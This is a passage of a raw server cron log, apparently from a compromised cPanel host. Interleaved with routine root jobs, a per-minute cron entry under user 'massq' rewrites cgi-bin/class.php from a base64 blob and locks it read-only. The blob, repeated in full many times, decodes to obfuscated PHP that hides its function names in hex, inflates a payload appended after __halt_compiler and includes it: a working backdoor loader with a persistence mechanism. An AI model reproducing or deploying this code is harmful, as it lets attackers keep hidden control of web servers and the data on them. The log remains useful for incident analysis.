QtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:24:01 server CROND[20779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:25:01 server CROND[20850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:25:01 server CROND[20851]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 15:25:01 server CROND[20852]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 15:26:01 server CROND[20985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:27:01 server CROND[21160]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 15:27:01 server CROND[21161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:28:01 server CROND[21248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:29:01 server CROND[21324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:30:01 server CROND[21393]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 15:30:01 server CROND[21392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:30:01 server CROND[21395]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 15:30:01 server CROND[21394]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 15:31:01 server CROND[21512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:32:01 server CROND[21690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:33:01 server CROND[21755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:34:01 server CROND[21815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:35:01 server CROND[21892]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 15:35:01 server CROND[21893]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 15:35:01 server CROND[21894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:35:01 server CROND[21895]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  9 15:35:01 server CROND[21898]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 15:36:01 server CROND[22025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:37:01 server CROND[22065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRf